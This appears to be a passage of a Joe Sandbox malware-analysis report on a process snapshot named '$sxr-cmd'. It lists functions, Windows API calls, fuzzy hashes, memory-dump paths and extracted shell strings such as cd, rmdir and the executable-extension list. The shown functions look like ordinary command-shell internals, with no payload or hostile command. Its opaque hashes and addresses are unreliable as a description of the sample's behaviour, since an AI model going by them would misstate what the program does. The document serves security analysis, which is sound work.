Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$AttributeConsoleHeapProcThreadTitlewcsrchr$AllocateInfoInitializeListProcessStartupUpdate_wcsnicmplstrcmpwcschr
String ID:
API String ID: 346765439-0
Opcode ID: 7ab6fa8dc0b51f14b91d73e5ffe10a57052e9477fd238aff7d214e1f01dcae97
Instruction ID: 68f5a1a2122e288337c378cc89e3f927a81cc66a7e194ef3547712bcb401f86d
Opcode Fuzzy Hash: 7ab6fa8dc0b51f14b91d73e5ffe10a57052e9477fd238aff7d214e1f01dcae97
Instruction Fuzzy Hash: 34318224B1DE4282FA24A725A45157DE291BF89FA8F545032E94EC7BA6DF3CED028700

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62D1D0 Relevance: 3.1, APIs: 2, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0000020D0B62D1E9
FreeEnvironmentStringsW.KERNEL32 ref: 0000020D0B62D2AD

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: EnvironmentStrings$Free
String ID:
API String ID: 3328510275-0
Opcode ID: bd5886a123fb30aceff93104e580cf9002bf450ac6e21f1a4886c8727fcf9fb4
Instruction ID: f4374cf378152b083dc3890dd86cde6266be022586fa9aae97598949e9edab5a
Opcode Fuzzy Hash: bd5886a123fb30aceff93104e580cf9002bf450ac6e21f1a4886c8727fcf9fb4
Instruction Fuzzy Hash: 86219931B1AF5081F6209F926448219B7B6F794BE0F985234DF8D6BBDAEF39C4528704

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62DA1C Relevance: 3.1, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 0000020D0B62DA95
GetFileType.KERNEL32 ref: 0000020D0B62DAAB

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 886dffb09205d202da52528ad762ca177720b59a1f976d6d5f71bc5666910ac8
Instruction ID: 506944e9e4845e30aa19ffe5ac481727f846d87abae6ab26b637d738e8a49015
Opcode Fuzzy Hash: 886dffb09205d202da52528ad762ca177720b59a1f976d6d5f71bc5666910ac8
Instruction Fuzzy Hash: DB31A22261EF4591FB648B59C5986682A62F345BB0FA8031ADB6E0B3F1EB36D461D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615503A0C Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?,?,?,00007FF61551EAC5,?,?,?,00007FF61551E925,?,?,?,?,00007FF6154FB9B1), ref: 00007FF615503A56

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: bab5306cd567feeb86bb0befbcdd41048a3801cd437bd301f39ca3c6803b8cd3
Instruction ID: 82f60fd8447f524da58521600f0c5352f10bdbe247179b31b01f44e9bdd18db1
Opcode Fuzzy Hash: bab5306cd567feeb86bb0befbcdd41048a3801cd437bd301f39ca3c6803b8cd3
Instruction Fuzzy Hash: 1E019638E08E53D6E6548715A550176E7A5FF88FA4B61D431D50EC3A76DF2CFD918300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615509A6C Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF615509A86
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF615509A97

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmalloc
String ID:
API String ID: 1412018758-0
Opcode ID: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
Instruction ID: 00ec54c5fcee6a28acab618b5365d646b70c036aa8845b48095c28a5a25d8c19
Opcode Fuzzy Hash: 1cbc76b91adcbc50426ec0160b6c43d02b5c02c802198208a66957b4662997da
Instruction Fuzzy Hash: 1AE09209F59F0781FE142B7268410B892705F18FA4F581431CD0DC6BA6EF2CA891C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FCD90 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDA6
RtlAllocateHeap.NTDLL(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDBD

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
Instruction ID: 080fc69e31b89d25bee3d6a20ce825260c54139ed8fcfc3363a5af662f053238
Opcode Fuzzy Hash: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
Instruction Fuzzy Hash: 30F03C3AA18B42C6EB448B19F840078FBA1FB8AF60B599435D94E83365DF3CE855C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615505508 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNELBASE(?,?,?,?,00007FF6154F6F97), ref: 00007FF61550550C

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: DefaultLangUser
String ID:
API String ID: 768647712-0
Opcode ID: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
Instruction ID: 6e331d3043f9a3ad817349d140854da4df32462a2d395992f116322852e9229f
Opcode Fuzzy Hash: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
Instruction Fuzzy Hash: 09E02BBAD08A538BF6642B4170413B49953CB78FBEFC44033CB0DC56E19F2D2C415608

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62B900 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 0000020D0B62B955

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction ID: a85fd76e6388a08f6d406521bad5eabd2da9b796be8ed8c2a9c14f9122d6ccd7
Opcode Fuzzy Hash: 99623a56c0c66f7076cff61b7992f2e54951593381f89bb610799b11ef7b8552
Instruction Fuzzy Hash: A4F09050B0BB0580FE545BE1944A39523B39B8ABB0FCC4430CE4E9E3D3FD1EC4818260

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62B978 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 0000020D0B62B98E

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction ID: 90105e012d42488bcc6ac67755e45525b8a1e803ea8ae14760ab388b36c20bf3
Opcode Fuzzy Hash: 7994f22efeca7fbf2ebf4fa9e0693c4504f092aa8c4df1e1e5e2e684e68eef88
Instruction Fuzzy Hash: BED0C951E1BA4582FA58DBE2684E33512B39BA9BA4F8C4420DE1D89253BA1A44914651

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61550855C Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00007FF615508577

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0adb59561bc91aea81df1b12ca5df08c492be0d1d29f7ab664d8fc4c3399ffab
Instruction ID: 8a012d2bbaa98f5423254f6236ef3c9f4e8a1227184b8f9ccbd50181562d8c7f
Opcode Fuzzy Hash: 0adb59561bc91aea81df1b12ca5df08c492be0d1d29f7ab664d8fc4c3399ffab
Instruction Fuzzy Hash: 7FD01235E07B41C2EE445705D45D3B8A6A0FF49F19FA84535CA5D5A371DF3C94968700

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF615517F00 Relevance: 61.6, APIs: 28, Strings: 7, Instructions: 341memoryCOMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615517F44
_get_osfhandle.MSVCRT ref: 00007FF615517F5C
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615517F9E
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615517FFF
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615518020
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615518036
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615518061
RtlFreeHeap.NTDLL(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615518075
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6155180D6
RtlFreeHeap.NTDLL(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6155180EA
_wcsnicmp.MSVCRT ref: 00007FF615518177
_wcsnicmp.MSVCRT ref: 00007FF61551819A
_wcsnicmp.MSVCRT ref: 00007FF6155181BD
_wcsnicmp.MSVCRT ref: 00007FF6155181DC
_wcsnicmp.MSVCRT ref: 00007FF6155181FB
_wcsnicmp.MSVCRT ref: 00007FF61551821A
_wcsnicmp.MSVCRT ref: 00007FF615518239
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615518291
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6155182D7
FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6155182FB
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF61551831A
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615518364
RtlFreeHeap.NTDLL(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615518378
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF61551839A
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6155183AE
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF6155183E6
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615518403
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF615518418

Strings

rmdir , xrefs: 00007FF6155181F4
md , xrefs: 00007FF6155181B6
pushd , xrefs: 00007FF615518232
cd , xrefs: 00007FF615518170
rd , xrefs: 00007FF615518193
chdir , xrefs: 00007FF6155181D5
mkdir , xrefs: 00007FF615518213

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferInfoReadReleaseScreen$AllocCharacterCursorFillHandleOutputPositionWrite_get_osfhandle
String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
API String ID: 3637805771-3100821235
Opcode ID: d74073052f036fb2306f86013512fc5dd735d89bb1ebe6582b1f79b80fa44d3e
Instruction ID: c55786e07be2cdb6db0303cd7ca8f570828f2f06a1d3a756b6e217303dac239c
Opcode Fuzzy Hash: d74073052f036fb2306f86013512fc5dd735d89bb1ebe6582b1f79b80fa44d3e
Instruction Fuzzy Hash: 72E16B39A08E52CAE7209F65A844179FBB1FB49FA5B459234DD1E937B4EF3CA805C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F7650 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 461fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F76E5

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

_get_osfhandle.MSVCRT ref: 00007FF6154F7745
GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F7759
_get_osfhandle.MSVCRT ref: 00007FF6154F776C
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F7783
_get_osfhandle.MSVCRT ref: 00007FF6154F77A3
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F77C9
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F7808
wcsrchr.MSVCRT ref: 00007FF6155149BE
_wcsnicmp.MSVCRT ref: 00007FF615514A02
SearchPathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF615514A81

Part of subcall function 00007FF6155001B8: _get_osfhandle.MSVCRT ref: 00007FF6155001C4
Part of subcall function 00007FF6155001B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF61550E904,?,?,?,?,00000000,00007FF615503491,?,?,00000000,00007FF615514420), ref: 00007FF6155001D6

Strings

DPATH, xrefs: 00007FF61551499A

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: File_get_osfhandle$memset$PathPointerReadSearchSizeType_wcsnicmpwcsrchr
String ID: DPATH
API String ID: 95024817-2010427443
Opcode ID: 2dd73e123b097a23a112381bfb0238d2ff060e9a1d02d3e8a60a86283e7ef037
Instruction ID: 5907da2541f0eca2e19faeed21f356322d13e777e117968f8933cc79964bae13
Opcode Fuzzy Hash: 2dd73e123b097a23a112381bfb0238d2ff060e9a1d02d3e8a60a86283e7ef037
Instruction Fuzzy Hash: 8912643AA18A82C6EB649F259440179FFA1FB89F64F455235DA5E977A4DF3CEC00CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F5240 Relevance: 33.8, APIs: 14, Strings: 5, Instructions: 503COMMON

Download Yara Rule

Strings

[.], xrefs: 00007FF615513128
..., xrefs: 00007FF615512C8C
[...], xrefs: 00007FF615513013
[..], xrefs: 00007FF615512FB5
:, xrefs: 00007FF615513261

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID:
String ID: [...]$ [..]$ [.]$...$:
API String ID: 0-1980097535
Opcode ID: b4f7b18fcade78829ab7640c0e3796605864497f0bac3bc258d57cc8563df65d
Instruction ID: 87c1e07e79dd5cdb167747492cd25e74ffd98587e66ce937ea961f5e5f70b972
Opcode Fuzzy Hash: b4f7b18fcade78829ab7640c0e3796605864497f0bac3bc258d57cc8563df65d
Instruction Fuzzy Hash: BA32917AA08F8286EB20DF25D4942F9B7B0EB45FA4F414136DA0D876A6DF3CE945C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F6EE4 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 342timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF6154F6F34
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF6154F6F49
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F6F5F
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF6154F6F74
realloc.MSVCRT ref: 00007FF615514327

Part of subcall function 00007FF615505508: GetUserDefaultLangID.KERNELBASE(?,?,?,?,00007FF6154F6F97), ref: 00007FF61550550C

GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF6154F6FA8
memmove.MSVCRT ref: 00007FF6154F702F
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0 ref: 00007FF6154F7064

Strings

.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC, xrefs: 00007FF6154F6EEB
%s %s , xrefs: 00007FF615514400
%s , xrefs: 00007FF6155143ED
%02d%s%02d%s%02d, xrefs: 00007FF615514355

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Time$File$System$DateDefaultFormatInfoLangLocalLocaleUsermemmoverealloc
String ID: %02d%s%02d%s%02d$%s $%s %s $.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
API String ID: 4111365348-3662956551
Opcode ID: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
Instruction ID: f3c42d758714c7379b3ce8c3c4914c7a845126a74086a5fd2ace5a28b7e2d698
Opcode Fuzzy Hash: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
Instruction Fuzzy Hash: 13E19E69E08E42C6EB50CF68A8401B9EBA1BF45FA8F545132D90ED76B5DF3CED458300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551EE88 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_wcsupr.MSVCRT ref: 00007FF61551EF33
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551EF98
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551EFA9
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551EFBF
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF61551EFDC
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551EFED
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551F003
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551F022
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551F083
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551F092
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF61551F0A5
towupper.MSVCRT ref: 00007FF61551F0DB
wcschr.MSVCRT ref: 00007FF61551F135
